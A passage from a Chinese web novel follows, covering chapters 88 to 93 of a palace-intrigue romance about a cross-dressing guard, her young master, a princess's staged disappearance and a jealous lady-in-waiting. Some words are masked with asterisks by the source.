荀戓摆摆手,“嗨,没事,小病吃点药,大病跑不了,管他呢!那回不怪大夫,是我自己吃了药又下河给人寻东西来着。”
她记得荀戓那回,为了多挣点家用,病都没好,非要大冬天下水给人捞匣子,就为了多挣二两银。
不像她一人吃饱全家不饿,荀戓有一大家子老小要养活。
她心里不忍,“狗哥,咱们别拿命换钱,我给你请个好大夫行吗?”
荀戓憨憨一笑,“傻孩子,你是寻恩才入了这行,和我们不一样。我们这些人,如果不是为了钱,谁干这卖命的活。我还得谢谢你,阿琛,如果不是你,我只怕这辈子都沾不上‘霍帮亲卫’的边儿。有了亲卫的月钱,日子好过多啦,你嫂子已经不用上街卖柴火了。”
“别胡说,狗哥,你是凭本事来的,少主本来就看得上你!”她说完,下意识摸向腰间钱袋,却被早有防备的荀戓一把摁住。
荀戓故意板起脸,“行了,别没完没了,你嫂子每个月都收到三份月钱,你当我不知道?你和小六的钱,我都记账上了,早晚我得还,你就别给我再添账了。”
见荀戓坚持,她也怕再说下去,会伤荀戓面子,只好作罢。
“狗哥,我认识东炎一个神医,不行我去求他,让他给你瞧病,一副药就能好。”
荀戓咧咧嘴,揉着肚子笑道:
“费那劲干啥,我琢磨着就是最近喝冷酒太多,又不按时辰吃饭,伤着胃了。这点小病还值得你动用那么大人脉?你可饶了我吧!”
“唉,那你可得按时吃药,别马虎,我瞧你最近瘦得厉害,脸色也黄。”
“知道喽,你小子真啰嗦!”
第88章 南璃君失踪了
“霍家郎,金锭黄;南珠佩,酒肉贵。
靠山山不走,只因此山是金山;靠水水不流,只因此水满金油。”
这是民间编的歌谣。
如今的霍帮,其势锐不可当,其权如日中天,逼得玉家节节败退,堂口大减,钱庄都倒闭了不少。
眼见只差最后一击,便可将玉家彻底吞并,南璃君有些按捺不住,几次三番催促霍乾念筹谋布局,给玉家致命一击。
可霍乾念却觉得时机尚未成熟,冒进贪功大大不妥。
为此事,两方争执多次,一直没有结果。
霍乾念已做好宁可气得南璃君跳脚,也要按兵不动的准备,谁知晴天一个大雷,却炸得他——
不,是炸的整个京都城晃了三晃。
南璃君失踪了。
从重重护卫的公主府里,悄无声息地失踪了。
床边守夜的侍女被一刀杀死,鲜血溅了满床,南璃君却不见踪影。
侍卫们压根没有听到一点动静,可南璃君就这么无声无息地失踪了。
等公主府整个乱起来,要派人去宫里禀报皇帝的时候,才发现公主身边的大女官菘蓝竟然也不见了。
皇帝第一时间宣霍乾念进宫,指明要云琛随护。
皇命难违,霍乾念再手眼通天,不想云琛涉险,也拗不过一道皇命。
果然,一进皇宫内殿,侍卫首领枭泽立马走过来,将刀横在云琛脖子上。
霍乾念摁住心中急切,见殿中只有皇帝和枭泽,索性敞开天窗说亮话:
“皇上,您应当知道,公主急于击溃玉家于葬身之地,但臣认为时机未到,以皇上雷霆手腕,尚由玉家法外多年,臣不认为如今玉家的颓势是真,极可能暗藏着更大的反击阴谋。可公主执意不改。所以眼下公主失踪,不一定是真失踪。”
皇帝坐在龙椅上,面色阴沉得可怕。
“霍家仔,朕不收拾玉家,自有朕的道理,轮不到你揣测。公主失踪,你认为是公主故意为之,为的就是有一个逼你攻玉家的理由?”
霍乾念坐在轮椅上,与皇帝遥遥对坐,没有回答。
皇帝盯了霍乾念许久,随后冷哼一声,抬手示意枭泽放开云琛。
枭泽收回刀,朝云琛快速眨眨眼睛,走回皇帝身边。
云琛被这阵仗搞得一愣一愣的,不明白皇帝要威胁霍乾念,为啥是要杀她啊?
她心里使劲提醒自己机灵点,却一个字都听不明白,皇帝和霍乾念到底在打什么哑谜。
皇帝下令:“枭泽,带她下去。不许任何人靠近。”
枭泽随即带着云琛退下。
将离去之际,云琛正恭敬垂手地往后退,完全没料到霍乾念会在这个时候突然倾身过来,一把攥住她的胳膊。
他紧张地看着她,剑眉紧紧蹙在一起。
她吓得赶紧抽手,却根本挣不脱,只能小声叫道:
“少主!你疯了!这是宫里!这样大不敬啊!”
他这才如梦初醒,一下子放开手,跌坐回椅中,仿佛刚才拉她的手完全由不得他自己控制,全是下意识的动作。
在将退离大殿的时候,云琛瞧见他垂首坐在轮椅里。
高座龙椅之上,老皇帝似笑非笑,说道:
“你老子军规不许‘龙阳’,家规也是一样吧,你小子是真不孝啊!”
云琛心里难受
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,却没有一点法子。
在退往偏殿的路上,见云琛忧心忡忡,枭泽悄声道:
“小妮子,别琢磨了,皇上知道你是女的。”
“啊?”她惊得瞪大眼睛。
枭泽笑道:“上次给你迷晕了捆到马背上的时候,你自己说的,哈哈——这种事我自然要禀报皇上的。”
她的确记得梦里面对枭泽说过,她是女扮男装来的。没曾想那不是梦,竟然是真的。
“那……”她不知道该说什么,请皇帝帮她保守秘密?她哪来那么大面子呢?
“放心,瞧刚才皇上的话,应该不会揭穿你的‘小秘密’。”枭泽安慰到,接着像是又想起了什么,叹道:
“皇上大约是这世上最能理解你的人,皇上懂你的不易。至于霍少主,估计是皇上看不得他那么轻易享福,故意逗他呢。”
“师叔,你到底在说什么?我好像一个字也听不懂。”云琛此刻开始在心里无比认同,这宫里果然人人都是人精,人人都爱打谜语。
枭泽笑而不语,避开话题,“皇上要和霍少主谈很久,走,陪师叔吃盏茶去,你快给我说说江鸣那厮的事。”
两个时辰后,不知皇帝和霍乾念谈了些什么,总之再没有刀架在云琛脖子上了。
临走的时候,霍乾念信誓旦旦地对皇帝说:
“皇上放心,三日——只等三日后,臣一定命全国霍帮堂口开始寻公主!”
皇帝没吭声,瞪了霍乾念一眼,而后由枭泽搀扶着离去了。
云琛不解地问:“少主,为什么要等上三天才开始找公主?”
霍乾念挑眉,“我没说三个月都不错了。”
第89章 比打一巴掌更爽
春暖花开日,知更夜蹄时。
费了半个月的时间,霍帮的人终于找到了南璃君。
京都东郊的一处山谷幽宅中,一伙身穿玉家服制的护卫们警戒巡逻,团团守卫着一处宅院。
叶峮、花绝、云琛、荀戓,四人潜伏在屋顶上,望着远处屋子里正悠哉用饭啃猪蹄的南璃君,不由心里打鼓。
花绝道:“公主这样子,怎么不像是被**,倒像是来游山玩水似的,你瞧守卫都对她极恭敬,该不会真是公主下了个套,想逼着我们对付玉家吧?”
叶峮也直皱眉,“玉家的护卫服,玉家的商户标志,‘玉府’的牌匾,感觉恨不得贴着咱耳朵说是玉家**了公主。有问题——太有问题了。”
云琛想问问荀戓的意见,一扭头,却见荀戓脸色蜡黄,满头冷汗,捂着右腹直吸凉气。
她担心地问:“狗哥,你又肚子疼了?不行和叶哥说,你去少主身旁护卫吧,换不言来。”
荀戓疼得说不出话来,只是摆手。
叶峮也注意到荀戓的不对劲,面露难色。这个时候换人,实在动静太大。他压低声音问荀戓:“能坚持不?”
似乎最疼的劲儿已经过去了,荀戓抹了巴脸上的冷汗,虚弱道:
“没事儿,估计吃坏肚子了,劲儿过去就好了。咱赶紧动手吧!”
“阿琛,照顾着狗哥!”花绝从旁嘱咐,而后第一个飞身出去,跳进了院中。
其他三人紧随其后,纷纷跳进院里,快速列好阵型,举起武器杀去。
谁知,云琛的剑都已经挥出去,挨到一个玉家护卫的脸跟前了,那护卫却只躲不打,猛地朝反方向跑去,边跑边扯着嗓子大叫:
“不好了!霍帮杀进来了!霍帮来救公主啦!!”
眨眼间,玉家护卫们跑了个干干净净,只剩云琛几人愣在原地,举着刀剑面面相觑。
花绝眼睛瞪得溜圆,“我们霍帮现在都这么厉害了吗?一露面就把玉家吓成这样?”
叶峮砸吧两下嘴,将刀收回去,“不管了,救公主第一位,咱们麻利点,别大意,万一他们是故意让我们放松戒备,后面有狠招等着我们呢?”
云琛指着远处山上,一群举着火把跑得飞快的玉家护卫,道:
“叶哥,我觉得你想多了,玉家人都已经跑到那了——咱们再等一会儿,他们估计都到家洗洗睡了。”
“真他娘有意思!”花绝骂了一句,和叶峮冲向公主所在的屋子。
一路过去,屋宇空空荡荡,畅行无阻,几人踹开屋门的时候,南璃君一口猪蹄子呛在嗓子眼,差点背过气去。
“咳咳咳……咳咳咳……”南璃君呛得眼泪都出来了,“怎么没听见……咳咳打斗声……你们就进来了咳咳咳……”
几人直愣愣站在原地,没人敢上前去帮南璃君捋后背。
等南璃君咳得满脸通红,终于捋顺了气,她道:
“我知道你们在想什么,觉得是我自己**自己?真的不是,你们快去找找菘蓝,快!”
虽然玉家人全撤了,但叶峮不敢掉以轻心,和花绝立刻护送着南璃君离开此处,只让云琛和荀戓去找菘蓝。
宅院很大,搜索了大约半个时辰,荀戓又开始肚子疼,不觉落后云琛几步。
此时,云琛正一脚踹开柴房,一眼就看见菘蓝正趴在房梁上。
柴房地上没有多少柴火,却密密麻麻挤满了大大小小的蛇。
云琛虽不怕蛇,但也被惊得头皮发麻。
只见群蛇缓缓交错蠕动,不停地朝房梁上的菘蓝吐信子。
菘蓝已吓得面无人色,浑身抖如筛糠。
云琛赶紧轻功而起,脚蹬飞檐,踏着墙壁跃上房梁,将菘蓝抱了下来。
因为地上蛇太多,难以落脚,云琛不得已,只能沿着内壁屋檐行走。
檐边极窄,云琛不觉将菘蓝抱得很紧。
等云琛抱着菘蓝跳出柴房,落定在院中的时候,叶峮和花绝已护送完南璃君,带着一大群霍帮护卫赶来相助。
云琛将菘蓝放在地上,刚说了个“菘蓝大人”,就见眼前一闪,一个耳光结结实实地落在了她脸上。
伴着清脆的“啪”的一声,众人只见云琛的脸歪在一边,神情错愕,白皙的脸上清晰地浮现出一个红红的巴掌印。
菘蓝则一脸恨意,手还未来得及收回。
“你凭什么——”花绝大怒,正要冲上去,却被叶峮一把拉住。
对上花绝惊怒的眼神,叶峮忍着气,轻轻摇了摇头。
菘蓝注意到这一幕,冷笑一声,故作姿态地拂手整理衣衫裙摆。
她扬起下巴,冷傲的目光从花绝移到叶峮、荀戓,再移到几十个面色不善的霍帮护卫……
最后,菘蓝看向不知所措的云琛,切齿骂道:
“你算什么东西,也敢来占我的便宜!”
没有人说话,亦没有人敢顶撞。
纵使再气,也不敢发一语。
云琛不想惹事,虽然不知道自己哪里做错了,但还是低声道:
“小的失礼,请菘蓝大人恕罪。”
菘蓝鼻子里轻蔑地哼一声,仍旧目光恨意地盯着云琛。
云琛无法,只得后撤一步,屈起一条腿,准备单膝跪下行礼。
谁知她刚弯下腿,还没来得及跪到地上,就听霍乾念的声音从院外传来:
“云琛,不许跪!”
一见霍乾念来了,院内众人登时有了主心骨。
花绝看向菘蓝的眼神充满挑衅和幸灾乐祸,仿佛在说“等着吧,你的报应来了!”
云琛姿势僵在原地,跪也不是,不跪也不是。
不言见状,大步走过来,一把将云琛扶正,故作着急道:
“你这么久还不回来,少主急得不行,非要亲自来寻你。你也真是的,明知少主最疼你,还让少主这样着急。”
不言说着还笑嘻嘻地帮云琛拍拍衣服上的灰,然后看见云琛脸上已经开始红肿起棱的巴掌印,皮笑肉不笑地说道:
“哎呦喂,阿琛,你这救人去了,怎么救出了一个巴掌印?谁打的?让少主收拾她!”
菘蓝在一旁看得分明,觉得可笑至极,甚至看都不看不言一眼,只是睨着霍乾念,
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唇角得意勾起,道:
“我打的,怎么,霍少主打算怎么收拾我?你们霍帮任何人胆敢动我一根汗**,便是与公主为敌。霍少主,你不会不清楚这点吧?”
霍乾念盯着云琛脸上越来越明显的红肿,表情好似冬湖结起寒霜般阴冷。
沉默片刻,他寒声道:“都让开,给‘公主’让路!”
霍帮护卫们愤愤不平,却还是听命照做,让开一条路。
听见霍乾念故意说出的“公主”二字,看似抬举,实则反讽和僭越,菘蓝身形一僵,又很快调整好,开始朝外走去。
待菘蓝走出去数丈,霍乾念望着她的背影,冷然出声:
“云琛,拿箭!”
小六这时不知从哪儿冒了出来,麻利地为云琛递上弓箭。
霍乾念面无表情,高声令道:“云琛,射!”
甚少见霍乾念生这么大气,浑身气势如此凌厉骇人,云琛不敢犹豫,拉开弓箭,瞄准菘蓝,一箭射出。
“咻”的一声,箭矢飞出,扎在菘蓝刚刚留下的脚印上。
菘蓝吓了一跳,但很快又恢复,只看了霍乾念一眼,就又朝前走去。
花绝从旁冷笑:
“阿琛,你是箭贯双眼的好手,这会儿别怂!”
霍乾念继续沉声:
“云琛,莫怕,尽管射!”
云琛知道,事已至此,现在要找回的已不光是她自己的面子,还有霍帮的颜面。
屏住呼吸,云琛估量菘蓝的步子,瞄准菘蓝身前的位置,一箭飞出。
箭矢猛扎在地上,与菘蓝的脚步同时到达。
菘蓝的鞋尖紧紧顶着箭尖,不差一分一毫。
菘蓝的脸白了一下,迈出第二步,云琛的箭仍旧先她一瞬,稳稳扎在她鞋尖前。
见云琛如此,根本没有奈何她的心思,菘蓝彻底放下心,开始大步朝外走。
眼见将要跨出院子时,霍乾念从云琛手中拿过弓箭,抬手拉弓——
只感觉一道利刃直冲脑袋而来,“砰”的一声,菘蓝头上的珠钗爆碎,强力的冲击震得菘蓝头皮一麻,身形一晃,直接跌倒在地上。
那长长的箭矢还插在她发髻里,悠悠颤抖着,看起来十分滑稽。
“哟哟哟,菘蓝大人摔倒了,赶紧扶一下呀——”
“不敢不敢,扶了得挨巴掌呢!”
花绝和不言故意调笑,惹得众护卫哄笑起来,甚至还有人朝菘蓝吹口哨。
菘蓝攥着拳头爬起来,用力去拔头发上的箭,试了好几次都解不下来,最后直接狠狠一把拽下,连带着拽掉好几缕头发,整个发型鸡窝似的乱糟糟。
她脸上一阵红一阵白,硬是咬着嘴唇才没有落泪,扭头大步朝外走。
她的身后,霍乾念语气带着讥讽,笑道:“菘蓝——哦不,‘公主’殿下,慢走不送。”
菘蓝转过身,直直看向霍乾念,眼眸含泪,却微微一笑。
“霍乾念,算你厉害。”
说罢,菘蓝头也不回地离开了。
花绝揽住云琛的脖子,笑道:
“怎样,这不比打她一巴掌更爽!”
第90章 脑子有病
玉家打死都不承认**了南璃君。
南璃君打死都不承认是自己**自己。
那**南璃君的一群“玉家护卫”,更是没来得及**,就跑得无影无踪了。
最终,这场荒唐失踪成了“悬案”,只能扣在“玉家”头上。
借口“失踪案”,再借皇帝之怒,南璃君施展手腕,使得朝中与玉家多有往来的官员亲贵们,都不得已保持缄默。
见局势大好,南璃君更加催促霍乾念筹谋布局,对玉家发起总攻。
甚至在菘蓝给了云琛一巴掌的事上,南璃君没有谈及一句霍乾念如何当众令菘蓝颜面尽失的,还命菘蓝登门致歉。
菘蓝带着一大堆礼物和宫人上门,候在栖云居外面。
霍乾念正与云琛在屋子里玩牛骨牌,听闻菘蓝上门,霍乾念对润禾道:
“叫她候着。”
说罢,他继续与云琛玩牌。
过了一刻钟,云琛有点坐不住了。
“少主,这样不好吧,让菘蓝大人一直在外面等着,会不会有点过分?”
他头也不抬,专心捡牌,“你去送信的时候,干等了两个时辰,怎么不觉着别人对你过分?”
她哑然,这才明白那天的久等原来是菘蓝的刻意刁难。
“少主怎么知道我等了两个时辰?我是一个人去的来着。”她好奇。
他**着一张牛骨牌,故作出高深莫测的样子:
“你猜。”
她脸颊发热,眼神闪躲,心一横,小声道:
“我猜……少主总是惦记着我,便能留意到我许多事。”
他抿唇而笑,瞧着她笨拙试探又强装镇定的样子,靠近她耳朵,气息吞吐,正经地说,
“我是让你猜我手中的牌,你在说什么,我听不懂。”
见她羞得满脸通红,他忍不住哈哈大笑。
栖云居外,菘蓝一行人清楚地听见屋内传来笑声。
一个宫女忍不住说:“从来只有别人候着我们的份儿,这霍乾念却敢晾着我们,真是托大!”
另一个宫女附和:“就是,难道霍帮还想踩到公主头上去?”
菘蓝倒没有一点生气的样子,只是听两个宫女越说越来劲,便淡淡一个眼神过去,两个宫女立刻噤声。
等了整整三个时辰,霍乾念才在偏厅接待了菘蓝一行人。
菘蓝身后的宫女奉上礼物,对旁边随护的云琛道:
“赠极北银狐皮两张。”
霍乾念并不抬眼,只对收下东西的润禾道:
“去库房里再取四张皮子出来,六张合一起,给云琛做个披风。”
宫女撇撇嘴,继续说:
“赠冬青雪锦二匹。”
霍乾念又道:“云琛肤白,这颜色衬得起,做套常服来。”
“赠伊山雨香木一块。”
“拿给云琛熏屋子吧。”
宫女念着礼单,每念一样,霍乾念便要插一嘴,除了最后一匣子金瓜子分赏给众多护卫,其余东西全部转手就给了云琛。
从始至终,菘蓝都没有一点不情愿,反倒柳眉微扬,眼眸晶亮地看着霍乾念。
等礼单全部念完,菘蓝大大方方上前对云琛行礼,笑道:
“那日实在是被蛇吓着了,一时失态,错怪了云护卫,还望云护卫海涵。”
云琛抱剑回礼,刚要说“没关系,大人言重了”,菘蓝却已转过头,朝霍乾念道:
“霍少主,我有话同你说。”
见菘蓝压根没有再理自己的意思,云琛尴尬地摸了摸脸。
霍乾念脸色微垂,“除了云琛,其他人都退下。”
菘蓝道:“请云护卫也下去吧,我的话只能对你一个人说。”
“那就别说了。”霍乾念毫不给面子。
打量霍乾念剑眉染霜,眸色冷淡,从头至尾都没有正眼看自己一眼,只是穿着一身墨松晚锦的衣袍坐在那里,骨节分明的指间**着一张牛骨牌,菘蓝浅浅一笑,神色透出一种绝对的自信。
“霍乾念,你是第一个敢这样轻视我的男子。”
对于菘蓝突然的直呼其名,霍乾念终于绷不住脸色,眉眼都写着“不耐烦”,道:
“你把皇上和满朝文武大人都放哪里了?我肯定不是第一个。”
菘蓝下巴微扬,明媚地笑起。
“很好,霍乾念,你赢得了我的注意。”
说罢,菘蓝转身离去,那镮珮锦绣的裙摆在空中划出优美的弧线,像一扇骄傲的锦鸡尾羽。
霍乾念与云琛相视一眼,都在对方脸上看到了“迷茫”二字。
琢磨了一瞬,霍乾念眉头渐蹙,将手中的牛骨牌扔在桌上,颇为厌烦道:
“脑子有病!”
自那天所谓的“登门道歉”后,菘蓝来霍府的次数越来越频繁。
一方面是因为霍帮已开始紧锣密鼓地筹备对付玉家的事,南璃君总有许多机密信函给霍乾念,每次都是菘蓝亲自送来。
另一方面,明眼人都能看出菘蓝对霍乾念的“青眼有加”。
这日,菘蓝说书房闷的很,想在有花有景的地方
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坐着。
霍乾念烦归烦,但与南璃君之间的事务不可耽搁,便耐着性子,将议事地方选在了春暖花开的花塘湖。
叶峮几人据守在不远处的值守位,听着菘蓝“马铃”般刺耳的笑声不时传来,花绝找了根茅草掏耳朵,抱怨道:
“这泼妇是真惦记上少主了,这些日子来的次数越来越多,每次不是要求看花看水,就是要求听风赏月的,服了!”
不言在一旁练习单手俯卧撑,偷偷瞄了眼小脸发酸的云琛,气喘吁吁道:
“也不是吧,菘蓝女官或许只是欣赏咱少主,毕竟少主那气质,那样貌,那学识,那家世,那脾性,哪样不是**挑一,好得没话说?女官大都眼高于顶,偏要对越看不上自己的人越上心,征服欲作祟而已,过了这阵就好了,放心!”
叶峮和花绝对视一眼,不约而同道:“能把‘脾性’去掉吗?”
觉得不言说的颇有几分道理,叶峮走过去,坐在不言背上,给他俯卧撑加码,说道:
“我估摸也是。话说你的‘飞衔府试’快到了吧,抓紧啊,这次一把过,今后你就是正式的‘暗卫’了。”
不言因为用力过猛,说话的时候有点咬牙切齿:
“希望吧,今年再不过,明年又得重头再来。”
暗卫是护卫等级中最高的,各家府上的选拔标准不同,但通通主打一个“非人”和“极难”。
一共二十余门科目,考量护卫的各方面心智和身手。
三年内通过全部科目即可荣登暗卫。
不言花了两年时间,过了霍府“飞衔府试”暗卫考量的前十五科,今年还有十二科,若不过,就得明年从第一门开始重新再考。
因此不言最近压力极大,这些日子一有时间,不是在俯卧撑,就是在练潜水闭气,他对云琛道:
“阿琛,你教教我闭气呗,我这科真悬乎,怕过不去。”
听云琛没有应声,不言又喊了两嗓子,云琛才答应。
叶峮见云琛心不在焉的,还以为她是担心告假看病的荀戓,便道:
“阿琛,别担心,我给狗哥介绍的大夫是咱们上一任府医,老爷子虽然年纪大了,但也称得起‘神手’。你若实在担心,就在东头白马巷里,你去寻狗哥吧。”
云琛摇摇头,又望了眼霍乾念的方向。
天高日暖,春意盎然,花团锦簇之中,两道人影对坐着。
同样的锦衣加身,同样的高贵凌人。
二人的背影看起来极相配。
第91章 公子英明
看着眼前才子佳人的一幕,云琛心里慌得很,说了句“我去去就来”,便扭头离开。
不想再去看那二人“交相辉映”的情景,云琛走得急,便没有看见霍乾念回过头来望她的样子。
霍乾念完全没听见菘蓝说完正事以后,又在啰哩巴嗦说些什么,只看见那高挑的身影背对着他,越来越远。
他招手叫来润禾,“云琛要去哪里?我今日并没有差事要云琛去办。”
不等润禾回答,菘蓝在一旁笑道:
“云护卫那么大个人了,你还怕他丢了不成?”
听润禾附耳禀报完,霍乾念忍着脾气,对菘蓝道:
“云琛脸皮薄,性子纯,保不齐在外面被人欺负,一会儿罚站,一会儿又端烫茶的,我不放心得很。”
菘蓝愣了一下,随即不屑地哼了一声:
“原以为云护卫直爽,不拘小节,谁曾想当面装大度,背后告黑状,真是装的一幅好‘性子纯’呀!”
霍乾念瞬间冷脸,皮笑肉不笑,用那张线条好看的嘴说:
“我太给你脸了是吗?”
菘蓝也不恼,起身轻拂裙摆,临走之前提醒道:
“三日后一起踏春哦,别忘了。”
霍乾念眉头一拧,刚要发火,菘蓝又狡黠笑道:
“公主邀你的,不是我哦。”
另一边,云琛出了霍府,并没有第一时间去找荀戓,而是去了颜府。
关于公主被**这件事,她捋不清,也轮不到她想明白。
但菘蓝在柴房被蛇群**的事,云琛总感觉或许与颜十九有关。
来到颜府门口,无需手令或腰牌,亦不必卸剑,连通报都不用,云琛便进了门。
一见她来,颜十九立马兴奋地从椅子上跳起来,拉着她去看阿灵。
“小云儿,你瞧,黑色已经快到阿灵的七寸了。”
阿灵庞大的身躯慢慢爬行过来,巨大的蛇头靠近她,对着她鼻尖吐了吐信子。
她伸出拳头在阿灵脑袋旁比了比,“阿灵的头比我两个拳头还大,真厉害!”
如果颜十九要杀菘蓝,那何需费一大群小蛇,直接把阿灵放出去不就得了?她心里这么想。
这时,颜十九从旁提出五六只兔子,“刚一听说你来,我就叫人去宰兔子了,你上回说想吃来着。”
她接过兔子,拿人手软,**嘴短,顿时觉得不知道怎么开口才好。
看着颜十九笑得开心的模样,犹豫片刻,她还是问:
“颜十九,公主被**的事你听说了吗?”
颜十九将一只活兔子扔进阿灵笼中,满不在乎地回答:
“当然听说了,全京都谁不知道啊!”
咽了口吐沫,她又问:“那……菘蓝女官被蛇群**的事情,你也听说了吗?”
颜十九没有立马回答,津津有味地看着阿灵缓缓向兔子逼近,弯起蛇颈,一副蓄势待发的样子。
“小云儿,你快看——”
下一刻,只见阿灵张开森然蛇口,闪电般狠狠咬住兔子,眨眼功夫就吞了个干干净净。
云琛能清楚地看见兔子在阿灵蛇腔中涌动挣扎,慢慢滑向腹中。
四下安静得很,只有轻微的兔子骨碎声。
颜十九痴迷地盯着阿灵吞咽的样子,嘴角下沉,低声道:
“霍乾念让你来的?”
“不是,我自己来的。”
“你怀疑我用蛇群攻击菘蓝?所以怀疑是我**了菘蓝,是我**了公主?”
她赶紧解释:“不是,我没想**的事,我只是问蛇群……”
颜十九猛地冲到她面前,吓了她一跳,截断了她剩下的话。
他毫不掩饰满脸失望,委屈道:
“因为我喜欢蛇,所以你就怀疑我?就凭这一点?”
听他这样说,她立马觉得自己那点疑虑实在无稽。
她开始后悔,觉得自己是不是护卫干久了,太过敏感。
可他显然已失望至极,忍不住拔高声音冲她:
“这天下喜欢蛇的就只有我一个?是不是今后只要与蛇有关,我就要被怀疑?云琛,
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我以为你是不同的,不会因为我喜欢这冷冰冰的玩意儿就异样看我,现在看来你和别人都一样,没什么区别!那日见你手指烫得红,我是想替你出气,给菘蓝一个教训来着,可我最终还是没有动手,因为我怕你生气!”
她哑口无言,心里涌上愧疚。
见他伤心、失望……各种难受的情绪溢于言表,眼眶都有些发红,她诚恳地对他说:
“颜十九,对不起,作为朋友,我不该怀疑你。”停顿了一下,她叹气道:
“我只是很怕这事跟你有关。”
最后一句话显然让他愣住了。
他在心里念了好几遍,立马觉出千百种滋味来。
看他面色缓和,但情绪还是低落,整个人恹恹的,她只好哄道:
“好啦,我错了,我烤兔子给你赔罪,行不?友谊都在兔腿里,咋样?”
他抱着胳膊撇嘴,“那还是我的兔子呢,你倒会借花献佛——我勉强吃一点吧!”
她揶揄地笑,“都多大人了,还耍小孩儿脾气。”
“哼!”
烤了两只兔子,哄了一个时辰,直到颜十九又重新喜笑颜开,云琛才离去。
颜十九坐在烤炉边,看着渐渐冷却的炉火,摸了摸胸口,心有余悸地叹道:
“万宸,得亏听你的,只**就行,没让阿灵去把那菘蓝直接吞了,不然小云儿肯定得跟我急。”
万宸蹲守在一旁的树上,心说“我明明是怕哪天查到我们头上,公主会跟你急”,但嘴上还是恭恭敬敬道:
“公子英明。”
颜十九伸了个舒服懒腰,仰躺在长椅里,嘴唇弯起漂亮的弧度,道:
“你听见了吗,她说很怕这事和我有关。意思是她怕我惹麻烦,不想我和这些危险的事沾边,盼着我平平安安的,对吗?她甚至都没有将她的怀疑先去告诉霍乾念,而是背着霍乾念先来问的我,这是不是说明她私心是偏我的,疼我的?”
万宸这次沉默了很久,才又道:
“公子英明。”
第92章 没**的大火鸡
四月芳菲未尽。
南璃君说离京城不远的一处泗水峰里,有一处桃花峪,正是漫山盛放的时候,邀霍乾念一起去踏春游玩。
上一次围场狩猎,霍帮差点被烤成肉干,故而这一次踏春,叶峮等人警戒非常,护卫在霍乾念三丈以内,几乎寸步不离。
南璃君瞧着十分无语,忍不住道:
“霍少主,这次踏春,是本殿提前向父皇禀过的,这泗水峰里里外外方圆百里已全部**,应当是安全的。叫你的护卫们去歇歇吧,我看小云琛的嘴巴都起皮了。”
霍乾念望了眼身边“老鹰护小鸡”般的几人,对叶峮道:
“你们轮值歇息吧,进山的路还长,别将体力都耗在这里。”
叶峮领命,仍旧每次只让一个亲卫去歇歇。
南璃君见状有些不快,但没有再作声。
云琛趁换班的功夫去喝了点水,休息了一刻钟,赶来和荀戓交接的时候,悄声问他:
“狗哥,那日我去白马巷医馆寻你,门口的小学徒说你早诊完脉走了,我回府去,你也不在。这两天你去哪里了,身体好点没,大夫怎么说?”
荀戓笑着拍拍云琛的后脑勺:
“你小子越来越像不言了,真啰嗦。大夫看了,说我就是脾胃失和,养养就好了。我就告了两日假,出去玩了一圈。”
云琛用怀疑的目光看着荀戓,压低嗓子问:
“狗哥,你该不会逛窑子去了吧?那我可得替嫂子呜……”
荀戓一把捂住云琛的嘴,笑骂:“你当我是小六?一身牛劲没处使?”
一听有香艳风流事可聊,花绝和不言立马凑了过来,“快说快说,就爱听这个!”
几人一路悄声说笑,一边毫不放松警戒,行了大半日,护卫着霍乾念抵达了一处桃花盛开的谷地。
此地名为桃花峪,青山坡缓,各色桃花烂漫成海,一片精致的南方样式的石楼屋宇掩映其中,名为桃花坞。
许久没见到南方样式的屋宅,再加上四周青山绿水,粉红团簇,霍帮众人顿觉亲切,颇有重回烟城之感。
一种思乡的情愁在众人心中悄悄流转。
云琛注意到荀戓的神情怔怔的,知道他是想家了,安慰他道:
“狗哥,过两日你告假回趟烟城呗,我有十五日假,都匀给你,你的班次我来顶,叶哥肯的。”
荀戓摇头,“算了,最近帮里事情多,公主与少主怕是有事要办,不是休息的时候。”
小六本来不该出现在亲卫队列里,但他还是厚着脸皮凑了上来:
“你去吧,狗哥,差事就没有忙得完的时候,再拖下去只能明年回家了,也行,到时候咱俩一起去。”
不知小六哪句话说得不对,荀戓登时脸色一白,脚下步子错乱,差点绊倒。
云琛觉得不太对劲,还想继续问,叶峮却说得赶紧伺候着霍乾念安置了。
没得办法,云琛只得将那点不对劲暂搁心里。
霍帮众人有条不紊地进入桃花坞,开始打点安置。
忙活完,润禾伺候着霍乾念沐浴去了,桃花坞内外围满了宫中侍卫,叶峮等人一下子闲了下来,开始到处乱逛。
这桃花坞最出名的不仅是漫山遍野粉白的、嫣红的珠圆桃花,还有常年烟雾缭绕的温泉。
花绝在后院找到一处温泉池子,虽然不及主子们泡得那样精致,但胜在池子大。
花绝一边脱衣服,一边招呼着其他几人下池子。
一眨眼的功夫,花绝,不言,荀戓,小六,纷纷脱光了跳进池子里。
就连叶峮也在一旁宽衣解带,准备下水。
见云琛
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还傻愣愣地站在一旁,莫名其妙通红着脸望天,叶峮一边脱裤子,一边叫她:
“阿琛,来吧,少主那边得泡一会儿了,有润禾在,不妨事。咱们也赶紧享受一会!”
云琛脸色红得简直发紫,从牙缝里挤出一句话:
“我、我、我脚崴了,还没来得及给你们说……我下不了水……”
一听她受伤了,花绝立马光溜溜地从水里站起来,往池岸上走。
“来,我给你看看崴得厉害不?要是刚崴的,泡温泉热敷还正好呢!”
云琛用余光看见一只“没**的大火鸡”朝自己走来,赶紧喊了嗓子“不行不行,我这会得冷敷了!”然后便鬼撵一般地往外跑,同时不忘一瘸一拐,夸张地拐起右脚。
花绝莫名其妙的,只能冲着云琛背影喊:
“喂,阿琛!少主那里有镇水果的冰块,你去问润禾要!”
云琛耳鸣得厉害,压根没听清,胡乱应句“知道了!”便急急跑开。
似乎是被那话中的“少主那里”影响了,云琛不知不觉竟走到了霍乾念院里,与端着茶果的润禾撞了个满怀。
“云护卫,你怎么没去泡温泉?这后院有好几个池子,我看护卫们都去了。”润禾问她。
撒谎就得圆谎,云琛只得道:“我脚崴了,下不了水,你给我找点冰块来敷一敷吧。”
润禾变戏法一般地从茶果托盘里拿出一个盒子,递给她,“喏,这就有,镇茶果的冰。”
云琛接过冰块就要走,润禾却一把拉住她,讨好地笑道:
“云护卫,看在咱俩同僚情深的份儿上,既然你下不了水,那你就替我去侍候少主吧,我去泡一泡,嘿嘿——”
说罢,不等云琛拒绝,润禾便将茶果盘子塞进云琛怀里,一溜烟儿跑远了。
第93章 鱼尾
润禾一溜烟跑得飞快。
他一边跑,一边还不忘嘱咐:
“我怕少主坐着的时候滑进池子里,就给少主腰上围了浴巾,温泉不比浴桶,你小心看着少主别淹了,危险的!”
“哎哎哎——”云琛根本来不及阻拦,润禾已跑得不见人影,她只能认命地往霍乾念的温泉池子去。
